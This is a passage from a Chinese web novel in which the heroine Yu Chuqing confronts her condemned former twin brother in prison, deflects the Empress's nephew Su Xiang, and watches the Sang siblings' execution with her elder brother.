“对哦!”萧淼淼眼眸一亮:“我父王也是嫉恶如仇,眼睛里容不得沙子。我回去就找他谈,让他到时候帮梁祭酒、林大学士一把!” 转头又对薛涵道:“憨憨,你家跟不跟?” 薛涵别了她一眼:“说得好像我是一家之主似的!” 但又转而道:“不过这件事肯定会通过内阁,我祖父历来风骨清正,肯定也是容不下这种事的。” 正事说完了,薛涵转头问喻初晴:“那你们准备什么时候启程?” 喻初晴看向喻昔词:“大哥?” 自从喻昔词回来后,一家之主便不再是喻惊鸿了。 喻惊鸿虽然是爹,也有魄力,但家族的继承人不是他,而是他的长子。 他受家风感染,在继承人面前,只要不是颠倒人伦的事,爹也得让位! 喻昔词说道:“晴晴,还是看你的决定,都配合你的时间安排。” “好。”喻初晴颔首:“三日后,桑怀安、桑雪、桑怀盛一起,在菜市口斩首。桑怀安和桑雪就算了,我对桑雪没什么话可说,桑怀安的在御书房外也说了。我打算去见桑怀盛最后一面,然后,去见桑文柏最后一面。” 说到这里,她的神色越发冷凝,道:“最后,去跟侯夫人谈谈,把南阳侯府拿下来!” 她要拿的,可不仅仅是南阳侯府! “好。”喻昔词便道:“那我们……约摸十日后出发,你看如何?” “可以了。”喻初晴颔首:“七月十七日。” 见她确定了时间,萧淼淼一脸遗憾地道:“初晴,我真的不能跟你一起去游山玩水吗?” 闻言,喻家几人都看向她,抗拒的眼神很明显。 萧淼淼愣住,不解地道:“不是……我只是提一下,也不是一定要跟你们回家,不用这样看着我吧?” 薛涵忍不住笑话她:“初晴是回去认祖归宗的,你跟着去算什么事儿啊?也不害臊!” “我……”萧淼淼想了想,没想法,果断放弃:“算了,我就开玩笑说一句。” 事情谈完了,天色也已经不早,两人就要告辞了。 白婉蓉出声挽留:“你们都是晴晴的闺中密友,不若留下来用饭吧。晚膳后,让她大哥护送你们回府。” “多谢伯母款待,不过不用了。”薛涵笑道:“今日乞巧宴,家中长辈定是在等我回去,说一说宴席上的事。怕让他们等久了。” 萧淼淼也道:“是呀,我要先回去找父王,把那些喜欢残害幼童的变态,往死里打!” 两人告辞,喻初晴送她们出府门。 白婉蓉站在花厅门口,感慨说道:“这个薛小姐,当真是贵女典范。难能可贵的是,她并不是死守规矩的那种,十分灵性。将来谁家娶了她做媳妇,有福咯!” 喻惊鸿认可:“嗯。就是萧家这个女娃娃性情更率真,没什么心眼。” 喻慕文冷不丁说了句:“那也是萧家人。” 一说这话,喻惊鸿和喻昔词都不吭声。 白婉蓉倒是说了句:“那薛小姐不是萧家人,有本事你给我娶回来呀!” 喻慕文果断闭嘴:“……” 他没本事! 也没这方面想法! 喻今歌还是不明白:“咱们家跟萧家有仇吗?我姐这不是跟萧家人关系挺好的,难道还能让她不要往来了?” “你懂什么!”喻慕文原地复活,用佛珠敲了下他的脑袋:“晴晴做事自有她的道理,结交个把萧家人也就算了,只要不跟萧家联姻就成。” 提到联姻,白婉蓉忍不住操心起老大的婚事来:“昔词,你祖父没有说让你什么时候成婚吗?” “有说。”喻昔词如实答道:“但我没听。” 众人:“……” 喻今歌笑了:“原来大哥也是会叛逆的人吗?” 十二岁就被召回家族的喻昔词,根本来不及叛逆,就长大了。 不代表他没有反骨! “你也二十三了,是时候操心婚事了。”白婉蓉感慨地道:“你爹二十三的时候,你都已经四岁了!” 喻昔词说话也是绝:“那祖父怎么不让爹干我这个活儿?” 不是不孝顺,就是在婚姻大事上,他想自己做主,不接受家族安排。 白婉蓉顿时无话可说。 喻惊鸿不但不介意,还笑了,道:“你以为你祖父为何看不上我?不就是因为当年我想娶的是你娘,不是他安排的姑娘!” 说着,白婉蓉挽住他的手,一脸感动:“相公,你为我牺牲实在是太多了!” “无事,我乐得清闲。”喻惊鸿反手握住她的手,语气特别温柔。 见状,三个儿子不免都牙酸起来。 喻慕文忽然想到:“将来若晴晴能找到像爹这样专情的郎婿,我们才能放心。” “对!”喻今歌第一个符合:“我未来姐夫敢对我姐不好,我不打断他的腿我就跟他姓!” 喻昔词没吭声,心想:晴晴可能跟你们想的不一样,她可不是想找一个专情的夫婿,她自己都不一定专情! 但,妹妹不让说,他也就只得闭口不谈。 次日。 喻初晴来到了大理寺的监牢。 桑怀盛被关在这里,已经有一小段时间了。 第139章 信息量太大,他接受不来! 大理寺的审讯很残酷,桑怀盛不断地被提审,不认罪就上刑。 从小养尊处优,他吃不下半点苦头,上第一次刑他就全招了。 杀害自己的祖母,还背负着不孝的名头,比杀害邻居的罪名要更严重! 入狱似乎也没多久,他整个人已经颓了。 听到有脚步声靠近,他都没兴趣去看来者何人。 但,他好像听到了喻初晴的声音—— “桑怀盛,我来送你最后一程。” 桑怀盛一骨碌从稻草堆里爬起来,快速奔到牢栏前,双手握住牢栏看出去:“喻初晴,你还好意思来见我!” 喻初晴挑眉,问:“你这个杀害祖母的人都好意思说这种话,我没做过任何愧心于你的事,为什么不好意思来见你?” 她今日穿了一身红底黑纱的秋装,红色本来很是张扬,却被黑色盖住,若隐若现。 整个人有一种神秘又危险的气质,像蔓珠莎华,美丽、妖娆,却开在黄泉路上,每多看一朵,就代表自己离地狱更近了一步! 桑怀盛怔然看着她,说出的话竟是:“你……跟以前大不一样了!” 从前的喻初晴,温和不张扬,好似没有什么棱角。 即便他们再怎么闹,她总是微微一笑,四两拨千斤。 可眼前的她,令他有种锋芒压迫到他咽喉的感觉! “那自然不一样。”喻初晴微笑,道:“从前我虽然有钱,但为了照顾你们这群穷鬼,不得不低调、隐藏自己,不太敢露富。” “哦,你们的主要问题不是荷包里穷,而是心穷!” “倘使你们是值得付出的对象,我不但可以养着你们,还可以将你们养得金尊玉贵,替你们谋划美好未来、福泽三代都有可能!” “但你们不值得,所以……” “我也就养得随意了一些,养只猫养只狗,也是这样养的!” 一番话,宛如一个又一个耳光,朝桑怀盛脸上扇。 偏偏,她说的这些,都是事实。 她这个人,杀人不算,还要诛心! 桑怀盛原本是年轻气盛,喜欢动手不动脑的那种人,没有桑怀民自大,没有桑怀安阴险,没有桑怀志恶毒。 他却有他的独特气质:无知,蠢得极致! 然而再愚蠢,时至今日他也知道:我完了! 他已经没有半点天真,觉得自己还能力挽狂澜。 被喻初晴这么说,他竟然也没气愤,而是没什么生趣地道:“你说这些,是故意气我吗?随便吧,反正我要死了。” “哦,你知道自己要死了呀?”喻初晴有点意外。 毕竟,在桑家所有兄弟中,她跟桑怀盛在一块的时间最长——几乎每天在自己修文习武的时候,都要将桑怀盛拽过来跟着学,可不相处时间长吗? 桑怀盛这个人吧,你可以说他愚蠢,但不能说他本性坏。 他智商欠费。 同样的功课,她做第一遍不行,第二遍第三遍总也过了。 但桑怀盛却要五遍十遍,甚至十遍都过不了! 这也是桑怀盛不想学习的原因。 修文学得太费劲了,找不到半点成就感;习武太苦了,不是这里疼就是那里疼。 别家公子哥儿都在惹猫逗狗、听戏遛鸟,他却要关在家里,被自己的姐姐小皮鞭抽着,一遍又一遍地反复学那些东西。 他能乐意吗? 后来,总是被那帮纨绔发小取笑。 他们都说他一大老爷们,不被爹娘管束,而是被孪生姐姐管得跟孙子似的! 他能高兴吗? 因此,才把喻初晴恨得牙痒痒! 在他的潜意识里:只要能让喻初晴不高兴,他就高兴了。 现在面对死亡,他也是摆烂状态。 “不然呢?”他叹了一口气:“死就死吧,我活着就是个累赘!” 喻初晴冷不丁问:“你知道桑怀民被流放了吗?” 桑怀盛垂头丧气地道:“知道。” “嗯。”喻初晴颔首,又问:“那你肯定不知道,他在流放途中与人起了争执,用镣铐砸烂了同行另一个囚犯的脑袋。杀人之后,他想要逃亡,被逮回来还反抗,反抗的时候打死了。” 这个消息,是今天早上收到的。 新鲜出炉,还热乎着! 桑怀民死了! 死之前还收割了一条人命,尽管又是个作奸犯科的流放犯,但不得不说,桑怀民完全符合四肢发达头脑简单的二笔体质! “啊?”桑怀盛愣住,连忙抬头看她,问:“你骗我的?” 喻初晴没有回答这个愚蠢的问题,继续炸第二条信息:“桑怀安给桑雪找其他男人播种,混淆皇室血脉。加上桑怀安在翰林院的恶行、以及给你作弊进入国子监的事被告发,罪行累累、罄竹难书!” 桑怀盛瞪大眼睛:“二哥……他怎么敢的?” 信息量太大,他接受不来! 兄弟之间都很难相信,对方到底是怎么敢的。 事实却是:都做了! 喻初晴不管他能不能接受,一股脑将所有信息全塞了过去:“你被判菜市口斩首,他也一样,都是皇上金口御言亲自下旨。” 顿了顿,她又道:“哦,还有桑雪。你们兄弟姐妹三人,可以手拉手上路了!一家人下了黄泉,也是齐齐整整的,开心吗?” 桑怀盛整个人傻住了。 他想说“不、不会的”,但,说不出口。 别的不说,从小一起长大,喻初晴这个人不会拿这种事说谎,他还是了解的! 一定是确凿的事,她才拿到他面前来说! 他看着牢栏外陌生的少女,喃喃地问:“你来看我,是故意要把这些话告诉我的?” “对。”喻初晴坦率承认:“毕竟你曾想谋害我。” 说着,她嘲讽一笑,又道:“故意杀害自己的祖母,企图嫁祸于我。你可真了不起啊,桑怀盛!” “当时我只想把这件事栽你头上,一时情急之下,根本没想那么多。”桑怀盛被关在这里的这段时间,其实很难熬。 不仅仅是失去自由、面临死刑。 更折磨他的是:他杀害了祖母! 这几天,他没有睡过一个好觉,一闭上眼睛就梦到祖母变成厉鬼,来找他索命! 所以,喻初晴能看到,他此时已经完全失去了侯府小公子的意气风发。 非但如此,他甚至失去了求生的意志! 他想到这件事,就忍不住哭了:“当时我太冲动了,我也不想杀害祖母的啊!呜呜呜呜……” 第140章 他以前似乎没有这样殷勤 喻初晴没有丝毫同情他,只道:“五年来,我殷勤教导你,不仅是修文习武,还有礼义仁智信!” “我一直希望你能沉下心来学点东西,即便学不成,至少做人方面,也不会长歪。以我的能力,将来完全可以为你谋一官半职、娶一位佳妻。” “婚后的日子,只要你不作死,就过得去,实在过不去我还能照拂你。” “可你不愿。” “你不但不愿意学,还恨我监督你,把我的好心当成驴肝肺。” “所以,这就是你的下场。” “桑怀盛,你不值得同情!” “你会有今天,都是你自己选的!” 这回,桑怀盛将她说的听进去了,一个劲儿地哭,没回话。 后悔吗? 当然后悔! 但,后悔有用吗? 劝君莫惜金缕衣,劝君惜取少年时! 在该学习的时候他不愿意,不肯接受喻初晴的好意,还觉得喻初晴害自己被人取笑。 直到今日,后悔了,却没有后悔药吃! 年仅十七岁,等待他的,便已经是死刑了! “姐,我错了……”桑怀盛腿软了,倒在地上痛哭流涕,哭得像个孩子:“求你救救我,你不要放弃我……我真的错了……我以后听你的话……你救救我,好不好……” 喻初晴面无表情。 目前为止,桑家这一大家子蠢货,到头来竟然只有桑怀盛意识到自己有错、想要重来、想要挽回。 可惜大错酿就—— “太迟了。”她漠然说道:“倘使在我被赶出侯府大门的时候,你就知错,来找我。兴许我还会看在过去、当了这么多年孪生姐弟的份上,将你拉回正道。可惜你一直冥顽不灵,见了棺材才知道要掉眼泪!” 她的话相当扎心:“仅仅是作弊进国子监的事,运作之下,可能判你几年就算了。但,你杀害自己的亲祖母,罪无可恕!” 不管老太太是不是个好东西,反正桑怀盛是回不去了。 事到如今,她都懒得说:你想害我,还想求我救你?你怎么不叫我扶持你当皇帝呢,是不想吗? 桑怀盛倒在地上,本就被牢狱之祸折磨得很狼狈,此时眼里更是一点光芒都没有了。 一点求生的欲望都没有! 死吧。 死了一了百了! 见他如此,喻初晴也不再说什么,留下最后一句:“桑怀盛,下辈子再做个好人,为你这辈子赎罪吧。” 语罢,转身离去。 她的脚步声轻轻的,通过了监牢中间的甬道。 那点微不可闻的脚步声钻进了桑怀盛的耳朵里,让他感受到了什么叫做—— 光阴如流水,一去不复返。 人生只有一次,行差踏错,就是千丈深渊、万劫不复! 而对喻初晴来说,这件事做完,便扔到脑后了。 出了监牢,喻初晴看着站在外边的人,有些意外。 “苏副指挥使,您怎么在这儿?” 站在大理寺监牢外面的人,正是宽背窄腰的青年武将——苏祥。 五城兵马司副指挥使、皇后的嫡亲侄子、苏家嫡长子。 他仅仅是站在那儿,就给人一种感觉:好像一只敏捷的猎豹。 如果看过魔童哪吒……emmm,便是鹿童的身材气质! 摸着良心说:真的很顶! “恰好逮住了几个人犯,给大理寺送过来,押入监牢。事情刚好办完,也是巧了,遇上了永安县主您。” 苏祥面带微笑,语气温和。 他虽然已经年满二十,但婚事不是自己能做主的。 甚至,不是苏家能做主的! 皇后一直寻思着,要给他说一门最恰当的婚事。 观望几年了,皇后却总是觉得,这家姑娘心性可以、出身不合适,那个贵女家世倒是很好、却能力不足。 说起来,薛阁老的嫡孙女薛涵,倒是很不错。 可苏家武将门庭,薛家世代书香门第,拒绝跟武将联姻! 这不,一直没挑到合适的人。 苏祥本人是乐得轻松,一点儿也不着急,直到—— 当这个人是喻初晴…… “哦。”喻初晴点了点头:“的确是巧了。” 她问:“那苏副指挥使,这是要离开了么?” “是的。”苏祥保持着恰当的距离,道:“苏某公务已了,如县主不嫌弃,苏某护送您回府!” 喻初晴微微挑眉。 不是没跟苏祥接触过,有一说一,苏祥算权门贵子中比较出挑的了,为人处世相当得分。 但,他以前似乎没有这样殷勤? 有哪里不对! 心里在怀疑,但她面上不显,依旧带着温和浅笑,道:“五城兵马司的副指挥使,给我当护卫,这是初晴的荣幸。” 欲抑先扬。 她话锋一转:“不过不必了,家兄随我一道来的呢。” 喻慕文在国子监修学,喻今歌在家里刻苦医学入门,喻昔词忙完了自己的事后,基本都会陪着她进进出出。 硬汉大哥,如小山一样,安全感爆棚! 苏祥面露诧异:“哦?” 一转头,果然看见喻昔词从街口那边走过来。 苏祥像豹子,喻昔词却像熊! 身高是罕见的,那双开门冰箱的体型,比久经沙场的武将还猛,给人非常强烈的压迫感。 因此,他常年穿着宽袍大袖,头上纶巾束发,手上摇着羽扇,弱化了他给人的压迫。 将他商人的精明、武人的强悍、大族继承人的威严,尽数隐藏。 苏祥也是武将的体格,两人年纪相差也不算大,但双双站在一起,就显得苏祥有点弱小了。 喻昔词将羽扇一收,拱手作揖:“在下喻昔词,是晴晴的大哥,这厢有礼!” “喻兄。”苏祥抱拳,行了个武将礼:“苏某有礼!” 也是气势恢宏,颇有些不能丢了脸面、不能被喻昔词压下去的潜意识! 男人该死的胜负欲。 喻初晴笑道:“苏副指挥使,那我便同家兄回府了。今日家中有小宴不太方便,来日有暇,让家兄请你喝酒。” 台阶已经递到位,如果苏祥推辞,那就不礼貌了。 他冲她微一颔首,又朝喻昔词欠首:“如此甚好,苏某便不多事了,就此别过!” 干脆果断,转身上马离去。 兄妹俩也上了马车。 马车刚刚往前行驶,喻昔词将一包萝卜糕拿出来,道:“饿了吧?先吃点东西垫垫肚子。” 喻初晴不爱吃甜食,偏喜欢咸味的糕点。 正巧前面那条街有一家萝卜糕做得很好吃,在等她出来的时间里,喻昔词特意过去排队给她买来。 合欢立即过来给喻初晴净手。 喻初晴不客气地开始吃起来,道:“谢谢大哥。” 喻昔词拿起旁边的羊皮水袋,倒出一碗白中带黄的液体,递给她:“这是牛乳茶,倒是很新奇的东西。以前我去大草原,倒是见过游牧民族的,他们吃的是咸口的。这个是甜的,路过的时候我看销量不错,买来给你尝尝。” “……”喻初晴顿了顿,不由失笑:“大哥,那家奶茶店,是我开的。” 喻昔词一顿。 兄妹俩都忍不住笑了。 “那肯定合你的口味了。”喻昔词放心多了。 他也给自己倒了一碗,旋即状若不经意地问:“我观那苏祥,似乎对你有点殷勤过头了?他方才说要送你回府?” “是的。”喻初晴把自己的疑惑都讲了,旋即问:“大哥怎么看?” 喻昔词喝了半碗牛乳茶,把碗放下,吐出一句—— “皇后怕是觉得你不配做太子妃,想让你嫁给苏祥!” 第141章 给她一刀要不要! 闻言,守在一旁伺候的合欢木棉,眼神里充满了震惊。 合欢看向自家县主,忍不住问:“可是,皇后娘娘这样做,难道不怕太子殿下生气么?” 明知道太子对喻初晴有意思,却又让自己的侄子来插一脚? 皇后这是个什么想法,让自己的儿子和侄子、表兄弟俩抢女人? 太炸裂了! 木棉想到一个可能:“县主,这该不会就是你说过的——捧杀吧?若太子殿下与苏副指挥使争夺起来,回头倒霉的人,不就是县主?外人不知内情,只会说县主是红颜祸水,到时候说不准还能以这个名义拿捏你!” 喻初晴顺手摘取了重点:“毕竟在他们看来,我没有强大的娘家!但她又不想放弃我这把刀,所以想把我收拢进苏家!” “她做梦呢!”喻昔词冷哼道:“我喻家的明珠,岂能给她做刀?给她一刀要不要!” 他这个做大哥的,想要把妹妹留在身边做事,都得征求她的意见。 察觉到她不是很愿意,他提都不敢提。 苏佩云倒好,直接就利用起来了! 这说法,让喻初晴没忍住噗呲一笑:“知晓对方想做什么,事情就好办了。我们过几日就要离开帝京了,短时间内这件事不成威胁。以后的事,以后再说吧。” 储位之争已经开始了,皇后还不一定能笑到最后呢! “行。”喻昔词顺着她的话,道:“你做事有章有法、深思熟虑有远见,大哥放心。” 喻初晴笑问:“大哥把我夸上天,也不怕我骄傲?” 喻昔词失笑,看着她说道:“骄傲点怎么了?我们喻家五代就出了这么个姑娘,怎么就不能骄傲了?” “……”喻初晴没忍住笑出声,感慨道:“我觉得,倘若我不是丢了十七年,而是在家族内长大的话,很可能会被宠废掉。大哥,惯子如杀子,这句话可不是闹着玩的!” 她这一说,喻昔词还真的认真思考起来,道:“你说的有道理。桑雪在我们家长大,一家子都宠着她,可不就是把她惯废了。你若在家族内长大……万一成了娇纵刁蛮、无法无天的女大王怎么办?” 说得喻初晴笑了起来。 “不过说到桑雪……”想到桑雪马上就要被斩首了,喻昔词叹息一声,道:“小时候,我不觉得全家都对妹妹好有什么问题。后来我回了家族,接触的多了,才知道……从小没有吃过半点苦头的桑雪,禁不起半点挫折。” 他将羽扇重新拿在手里,摇晃着道:“她吃不了读书习字的苦,吃不了学本领的累。以至于,人不太聪明也罢了,还什么都不会!咱们家也不需要她会什么,但基本的为人之道,她都歪了。” 喻初晴深以为然。 桑雪的智商本来就随桑家人,不高。 但在喻家一群人精堆里——喻大美人除外——长大,竟还是那般蠢笨无能,要啥啥不会、干啥啥不成,的确得怪一大家子都对她太好了! 太得宠,吃不了苦。 想到好多东西不是喻家人不教,而是桑雪拒绝学习,喻初晴就觉得:人的命,还真的是注定的。 三分靠命,七分靠打拼啊! “不说她了,我给你讲讲家里还有什么人。”喻昔词这十一年来,在帝京待着的时间不到三分之一,对桑雪的感情自然没有其他人深。 失去了养妹,他的难过相对来说要浅一些。 但其他人…… 尤其是白婉蓉和喻今歌,跟桑雪相处时间最多的,就是他们俩。 他们总是难过的。 桑家兄妹三人被斩首这天,头一晚上白婉蓉一夜睡不着觉。 晨起的时候很是没精神。 喻慕文住国子监,家里只有一家五口用早膳。 见白婉蓉没胃口,吃不下的样子,喻惊鸿叹气,劝说:“娘子,放下也就放下了,昨日种种不可追,别为失去的东西难过。” 尽管明知道桑雪不是好东西,但那毕竟是自己养了十七年的啊。 白婉蓉长了张嘴,瞧了一眼喻初晴,还是没把这话说出来。 怕因为一个不值得的养女,伤害了自己的亲生女儿! 喻初晴何其敏锐,发现她欲言又止,便轻声安抚:“娘,伤心在所难免,会难过,证明你是一个正常的人。我没有这么小肚鸡肠,介意这种人之常情的事。” 白婉蓉叹了一口气:“我确实有点难过,但看到你,又觉得庆幸。幸亏你在他们家,没被带坏!” 喻初晴安抚一笑。 要是原主一直在这个家庭长大,说不定真会带坏。但芯子已经换了一个三观早已经养成的人,就不会被影响。 喻今歌情绪也不怎么好。 那是他从小照顾长大的“姐姐”啊,说不要他们就不要他们了,还自己作死到这种程度! 他哼道:“就当养条狗了,一般狗不是最多活十多年就会死!” 傲娇中二少年,嘴上说话难听,心里指不定多难受呢。 喻初晴叹气,道:“在心里惦记一下也很正常,不是当送她最后一程,而是敬过往最后一杯!” 她看向闷声吃饭的喻昔词,道:“大哥,一会儿我去菜市口看法场。” 众人都是一愣。 喻今歌瞪大眼睛,道:“多血腥啊,砍头哎!姐,你不怕做噩梦吗?” 白婉蓉也道:“法场人很多吧,这种事就别去看了吧?” “我不是图畅快去的。”喻初晴沉着说道:“桑家如今只剩下侯夫人李氏一人,已经翻不起浪了。但,原先就有两件事,我一直摸不清楚。” 喻昔词很快明白过来:“你说的是,算计太子的两件事?” “是。”喻初晴颔首:“国子监的事,太子身边的人配备得是相当好的,桑雪却能换上了婢女的衣裳靠近,这本就蹊跷。有可能是其他势力暗中相助,但,不排除太子身边有内鬼!” 既然不是萧风岚做的,那必定有人在背后帮助。 喻今歌脑子灵活,立即推断到她要说的第二件事:“在太子府,自己的地盘,竟然让桑雪算计了,这要说不是内鬼,我脚趾头都不信!” “对!”喻初晴面容冷淡,道:“太子身边有其他势力渗透,一点儿也不奇怪。” 她甚至相信,萧风岚肯定也在各方各处都放了眼线。 害人之心不可有,防人之心不可无! “所以……”喻惊鸿问:“晴晴你要去看法场,莫不是想观察有没有其他势力在观望?” 喻今歌语出惊人:“总不能劫法场吧?” 第142章 我见色起意! 不等喻初晴回话,他又来一句:“不对呀,就他们那点脑子,都落到这步田地了,还有什么价值?” “乱说话!”喻惊鸿瞪了他一眼:“听你姐说完!” 喻今歌当即努嘴老高,能挂提篮了:“这个家我就不能发表自己的意见么?” 喻初晴被逗笑。 小弟就这点特别好,什么事不高兴了就会直说,不会玩拐弯抹角那一套。 他的直,跟喻尚武的直,又不一样。 美人二哥是能动手绝不哔哔。 中二小弟则是一张嘴叭叭叭,什么时候都不肯吃亏。 她笑了一下,道:“我就去看看情况,万一呢?” “我陪你去。”喻昔词立即表态。 对此,喻惊鸿夫妇都很满意:好不容易找回来女儿,短短数月就经历了那么多事,他们潜意识里会想——总有人想害我女儿! 大儿子武艺高强、智力超群,有他跟在身边保护,当爹娘的都放心。 喻初晴也没拒绝。 开玩笑,谁能拒绝安全感爆棚的硬汉大哥! 尤其是,喻昔词常年在各地游走,眼界开阔、胸襟宽广。 喻慕文智商高,属于是读万卷书的那类型,腹有乾坤。 可在喻昔词面前,却只能做个军师! 喻昔词,是实干家! 从他身上,喻初晴能学习到太多东西。 她的智商本来就不错,人也很灵活,喻昔词发现她像海绵吸水一样不断从自己这里吸收见识,他便毫无保留地把自己会的都教给她。 卷王,狂喜。 斩首是在午时三刻。 兄妹俩用过早膳后就出门了,提前在菜市口附近的茶楼,要了一个雅座。 因为时间还早,喻昔词带妹妹下棋。 “大哥,你饶了我吧。”喻初晴又输了一大片棋子,将手里的黑子扔回棋笥里,摆烂地说道:“我真学不好这个!” 喻昔词觉得很奇怪:“你如此善于谋略,怎么可能学不好棋道?” “因为人的能力是有限的!”喻初晴无奈地道:“我学的东西又多又杂,目标是足一专多!医术是救命用的,要学精、学透,并且不断拓展!武功是救命用的,但受天赋限制太多,我尽可能练。学其他的一些知识,都是为了更好地生存……” “可你的心性,非常适合棋道。”喻昔词还是想不明白:“你不是学不会,是不想学。” 她有深谋远虑,心性沉稳,情绪稳定得可怕。 这都是棋手需要的品质! 喻初晴无奈地撑着脑门,道:“因为这个东西耗时太长了,我没有那么多时间!” 喻昔词:“……” 这个理由,太强大! 他也把手里的白子放回棋笥里,笑道:“行吧,既然不想学,那就不学。” “对啊。”喻初晴非常坦然承认:“再说了,我再怎么学,也不可能超越大哥你的棋艺!虽然我不太会,也看得出来你谋定而后动的能耐!还是让三哥跟你下吧。” 她大哥下棋,可真的是—— 除了谋定后动,竟然还有杀伐果决,跟他对弈,很容易心态崩。 喻昔词转头,让合欢把棋盘撤了。 回头认真看了坐在对面难得露出少女娇俏的妹妹,忽然问:“你真的跟那相好的断了?” 这阵子他总陪在她身边,的确没发现那被她藏起来的“野男人”,也没再发现她身上出现任何不对劲! 但他这个妹妹,除了偶尔会神游一下,却并没有任何为情所困的样子。 喻初晴没想到话题转换那么快。 想到萧风岚,她坐直了身体,如实道:“没有。” 没必要隐瞒。 只是她如今并不想让萧风岚曝光,所以暂时藏着。 如果她有要跟萧风岚结婚的决心,即便是家里人反对,她也敢把人带出来的! 喻昔词询问:“那最近你们也没见面了,他不在帝京?” “大哥,你不要太聪明。”喻初晴笑嘻嘻地道:“叫人害怕!” 相处久了,喻昔词已经不像刚回来认妹妹的时候那么谨慎。 他问:“我很好奇,那是个什么样的人,能让你不顾礼法?” 喻初晴眸光一转,给出了最简单的理由:“我见色起意!” 喻昔词:“???” 无论如何,他也想不到竟然会是这个答案! 他艰难开口:“你不像是会对男人一见钟情的人。” 喻初晴颔首:“是的,并不是见第一次。过去几年见很多次了,原先只知道他好看,但那一天忽然就觉得,他好看到我想得到他的程度。所以我就下手了!” “说得好像土匪抢压寨夫君似的?”喻昔词惊愕片刻,很快就接受了:“不过,大哥以为,你这性情很好。我们喻家的姑娘珍贵,没必要被世俗藩篱所困囿。” 喻初晴对这个大哥,是真的好爱! 长得好、武功强、智力高,还善解人意! 当然—— 她不知道,善解人意只是对她罢了。 也不想想,只要喻昔词在家,喻慕文和喻尚武俩人,都是尽可能不着家的。 他们受够了长兄如父的严厉管教,以及喋喋不休、孜孜不倦的“教导”! 喻初晴说道:“而且,礼法这个东西,是用来给人洗脑、束缚普罗大众的。规则、礼法,历来掌握在塔尖的人手里!” “说的不错。”喻昔词颔首。 说话间,楼下人声鼎沸起来。 原来是囚车过来了。 如今是初秋,一般判秋后斩首的,时间还没到。 今日被斩首的,是皇帝亲自下旨,所以跟别的死刑犯分开,只有他们三人。 喻初晴离开座位,走到窗子那边往外看。 他们选的雅间视野非常好,能将整个菜市口刑场尽收眼底,没有任何遮挡。 “唉,桑雪落到今日,也不知她是否后悔抛弃爹娘和小弟。” 喻昔词走到她身后。 见到桑雪,就为父母和小弟不值。 喻慕文喻尚武虽然对桑雪也好,但他们的付出真没有爹娘和喻今歌多! “我想,应该后悔的吧。”喻初晴看着囚车里狼狈不堪的桑家几人。 她格外冷静地道:“但,她一后悔起来,就会把痛苦变成恨意,转嫁到我身上,觉得是我害她的。” 喻昔词抿了抿唇:“人各有命。” 囚车送到,三名死刑犯被押上法场。 主斩官没有半点废话,当众宣读了圣旨后,拿出一根令箭往前方一扔。 “行刑!” 桑雪立即爆出痛哭:“呜呜呜……我不想死啊……爹娘救我……哥哥、小弟救我……” 第143章 她,是个狠人! 在临死的时候,桑雪叫的不是桑家的任何人,而是喻家的养父母养兄弟! 叫到了每一个人! 她后悔吗? 当然是一万个后悔! 不是现在才后悔,而是从侯夫人交给她一堆赤字账目那一日,就开始意识到:自己捡了芝麻丢了西瓜! 可她上了这艘贼船,船已离岸,她已经下不来。 更让她无能为力的是:喻家人放下她实在是太快了,明明她看得到喻惊鸿眼里对她的不舍,但他却说断就断! 喻家人,对自己都狠,怎么可能对她仁慈? 但她的确如喻初晴所言,自己心里痛苦,就会把恨意转嫁到喻初晴身上。 总觉得是喻初晴害她的,如果没有喻初晴,喻家人一定还能接纳她回去。 她这种人,即便是今天死到临头了,依然不会反省是不是自己的错。 喻初晴远远看着,唇角露出一丝嘲讽,看向喻昔词:“大哥,你看着难受吗?” 不管心地有多坏,桑雪也的确是个娇俏的十七岁少女。 原本在喻家的时候,也是有模有样的。 可惜,南阳侯给她打开了一扇虚假华丽的大门! 现在,经历了小产、牢狱、濒死,多重折磨。 如今的她,脸上脏污一大片,头发松散像个癫婆,身上的囚衣肮脏散发着臭味。 别的女人小产坐小月子。 她倒是很新潮,坐牢! 此时又大哭,看上去一点儿我见犹怜也没有了,而是丑——萧淼淼说的:那个丑东西! 喻昔词波澜不惊,反过来问:“桑怀安、桑怀盛,也是你十七年的兄弟,你难受吗?” “不难受,但唏嘘。”喻初晴叹了一口气,如实道:“桑怀安便罢了,我从小就知道他是个精致利己主义者。这不怪他,因为我也觉得人不为己天诛地灭。但,我很早就开始跟他保持距离。事情可以帮他做,感情一分不投入。所以,我一点儿也不难受。” 她的目光落在跪在那里垂着头的桑怀安身上。 比起桑雪的情绪崩溃,桑怀安显得很平静,像是一桩木头,不管眼前发生什么事,都无动于衷。 她又看向桑怀盛。 “桑怀盛吧……”她接着道:“我在南阳侯府,除了跟李氏,便是与他相处的时间最长。毕竟原本是孪生姐弟嘛。” 说着,她唇角嘲讽地勾了勾,又道:“说起来,也是家里把他惯坏了。惯子如杀子,将他宠得无法无天,平时小打小闹的从不斥责他。桑文柏和李氏,从不教他分辨是非黑白,他不知道什么是对错。” “后来我实在看不下去了。” 是她穿越过来,觉得自己有个这样的孪生弟弟,绝对不行。 不求兄弟功成名就,只求他不要拖自己后腿! “所以我就开始接过教养他的担子。” 她叹息一声,深思一个问题:“有时候我会想,是不是我对他太苛刻了,造成了他的极致反弹。他不但不愿意听我,不感激我对他的教导,甚至恨透了我。” 她自认自己算个是情商高的人,也有几分才智,却实在是没有抱猪上树的能力! 喻昔词说道:“或者说,你一向对自己要求严苛,以为他也能适应你的强度。但他原本太松散了,突然被你管束,是个人都会反弹。不该怨你。” “也是吧。”喻初晴在不责怪自己的前提下,得出的答案也只能是这个。 从小放任惯了,十二岁已经是一个孩子的叛逆入门期,十四岁青春期,突然被她一道紧箍咒给锁住了。 没能驯化出斗战胜佛,反而逼出了一只野猴子! 她看着下方已经平静接受自己死亡的桑怀盛,说出最后一句:“我尽力了,问心无愧;对桑怀盛有些遗憾,但……也不算难过。” 喻昔词看着她,忽然觉得:他这个妹妹表面上宽和,实际上很是淡漠疏离。 但若说她冷酷无情,也绝对不是。 她是有心有情的。 只是,她特别宝贝自己的情感,很难对谁付出感情。 即便是付出了,一旦发现有哪里不对,就会立即如数收回、点滴不剩。 当断则断,干脆利落! 她,是个狠人! 这时候,法场上的主斩官高声大喝:“午时三刻,行刑时间到!” 并没有出现任何变故,没有人劫法场。 喻初晴也没发现有哪里风吹草动。 鲜血飞溅,三颗头颅滚落在法场之上! 刑狱的人训练有素,很快就把现场收拾了。 看完了热闹,人群也慢慢散开。 “没有意外,我们走吧。”喻昔词见喻初晴还看着下方,疑惑地问:“晴晴,你在想什么?” 喻初晴仰头看了他一眼,果断道:“大哥你等我一会儿,我先去看看再说!” 